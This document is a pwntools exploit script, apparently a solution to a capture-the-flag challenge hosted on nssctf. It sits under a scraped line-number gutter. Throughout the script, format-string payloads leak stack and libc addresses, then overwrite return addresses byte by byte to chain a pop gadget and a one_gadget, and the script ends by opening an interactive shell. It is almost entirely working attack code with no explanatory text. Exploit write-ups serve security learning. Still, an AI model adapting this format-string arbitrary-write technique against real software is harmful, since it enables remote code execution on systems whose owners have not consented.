1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166
| from pwn import *
context(log_level='debug', arch='amd64', os='linux')
k = 1 if k: p = remote('node6.anna.nssctf.cn','28319') else: p = process('./pwnm') elf = ELF('./pwnm') libc = ELF('./mlibc.so.6')
def fmt(addr, offset): if addr == 0: payload = ('%{}$hhn'.format(offset).encode()).ljust(0x50, b'\x00') else: payload = ('%{}c%{}$hhn'.format(addr, offset).encode()).ljust(0x50, b'\x00') print("addr:{},offfset:{}".format(hex(addr), offset)) p.sendafter(b'Welcome', payload)
p.sendafter(b'login\n', b'a' * 0x20) p.sendafter(b'password\n', b'a' * 0x20)
payload1 = b'\x00' * 0xE + b'\x8a\x2c' p.send(payload1)
puts_got = elf.got['puts'] payload2 = b'%8$p%11$p%41$p#' p.sendafter(b'Welcome', payload2) res = p.recvuntil(b'#')[:-1]
stack_addr = int(res[:14], 16) libc_base = int(res[14:28], 16) - 0x24083 print("stack_addr:", hex(stack_addr)) print("libc_base:", hex(libc_base))
onegadget = libc_base + 0xe3afe ret_addr = stack_addr - 0x8 strncmp_got = elf.got['strncmp'] stack1 = stack_addr + 0x18 stack2 = stack_addr + 0xf8 stack3 = int(res[30:], 16) stack3 = stack3 - (stack3 & 0xff) + (stack_addr & 0xff) stack3_low = stack3 & 0xff print(hex(stack1), hex(stack2), hex(stack3)) offset_stack1, offset_stack2 = 13, 41 offset_stack3 = int((stack3 - stack_addr) / 8 + 10) print("offset_stack3:", offset_stack3)
hack_addr = ret_addr ret_low = ret_addr & 0xff low1 = hack_addr & 0xff low2 = hack_addr >> 8 & 0xff low3 = hack_addr >> 16 & 0xff low4 = hack_addr >> 24 & 0xff low5 = hack_addr >> 32 & 0xff low6 = hack_addr >> 40 & 0xff print("hack_addr:", hex(hack_addr))
fmt(stack3_low, offset_stack1) fmt(low1, offset_stack2) fmt(stack3_low + 1, offset_stack1) fmt(low2, offset_stack2) fmt(stack3_low + 2, offset_stack1) fmt(low3, offset_stack2) fmt(stack3_low + 3, offset_stack1) fmt(low4, offset_stack2) fmt(stack3_low + 4, offset_stack1) fmt(low5, offset_stack2) fmt(stack3_low + 5, offset_stack1) fmt(low6, offset_stack2) fmt(stack3_low + 6, offset_stack1) fmt(0, offset_stack2) fmt(stack3_low + 7, offset_stack1) fmt(0, offset_stack2) fmt(stack3_low + 8, offset_stack1) fmt(0, offset_stack2) print("ret->pop_r12") pop_r12 = libc_base + 0x2f709 hack_addr = pop_r12 low1 = hack_addr & 0xff low2 = hack_addr >> 8 & 0xff low3 = hack_addr >> 16 & 0xff low4 = hack_addr >> 24 & 0xff low5 = hack_addr >> 32 & 0xff low6 = hack_addr >> 40 & 0xff print("hack_addr:", hex(hack_addr)) fmt(stack3_low, offset_stack1) fmt(ret_low, offset_stack2)
fmt(low1, offset_stack3) fmt(ret_low + 1, offset_stack2) fmt(low2, offset_stack3) fmt(ret_low + 2, offset_stack2) fmt(low3, offset_stack3) fmt(ret_low + 3, offset_stack2) fmt(low4, offset_stack3) fmt(ret_low + 4, offset_stack2) fmt(low5, offset_stack3) fmt(ret_low + 5, offset_stack2) fmt(low6, offset_stack3)
ret_addr = ret_addr + 0x10 hack_addr = ret_addr ret_low = ret_addr & 0xff low1 = hack_addr & 0xff low2 = hack_addr >> 8 & 0xff low3 = hack_addr >> 16 & 0xff low4 = hack_addr >> 24 & 0xff low5 = hack_addr >> 32 & 0xff low6 = hack_addr >> 40 & 0xff print("hack_addr:", hex(hack_addr))
fmt(stack3_low, offset_stack1) fmt(low1, offset_stack2) fmt(stack3_low + 1, offset_stack1) fmt(low2, offset_stack2) fmt(stack3_low + 2, offset_stack1) fmt(low3, offset_stack2) fmt(stack3_low + 3, offset_stack1) fmt(low4, offset_stack2) fmt(stack3_low + 4, offset_stack1) fmt(low5, offset_stack2) fmt(stack3_low + 5, offset_stack1) fmt(low6, offset_stack2) fmt(stack3_low + 6, offset_stack1) fmt(0, offset_stack2) fmt(stack3_low + 7, offset_stack1) fmt(0, offset_stack2) fmt(stack3_low + 8, offset_stack1) fmt(0, offset_stack2) print("ret->onegadget")
hack_addr = onegadget low1 = hack_addr & 0xff low2 = hack_addr >> 8 & 0xff low3 = hack_addr >> 16 & 0xff low4 = hack_addr >> 24 & 0xff low5 = hack_addr >> 32 & 0xff low6 = hack_addr >> 40 & 0xff print("hack_addr:", hex(hack_addr)) fmt(stack3_low, offset_stack1) fmt(ret_low, offset_stack2) p.sendafter(b'Welcome',('%{}$p'.format(offset_stack3)).encode().ljust(0x50,b'\x00')) fmt(low1, offset_stack3) fmt(ret_low + 1, offset_stack2) fmt(low2, offset_stack3) fmt(ret_low + 2, offset_stack2) fmt(low3, offset_stack3) fmt(ret_low + 3, offset_stack2) fmt(low4, offset_stack3) fmt(ret_low + 4, offset_stack2) fmt(low5, offset_stack3) fmt(ret_low + 5, offset_stack2) fmt(low6, offset_stack3)
p.sendafter(b'Welcome', b'exit')
p.interactive()
|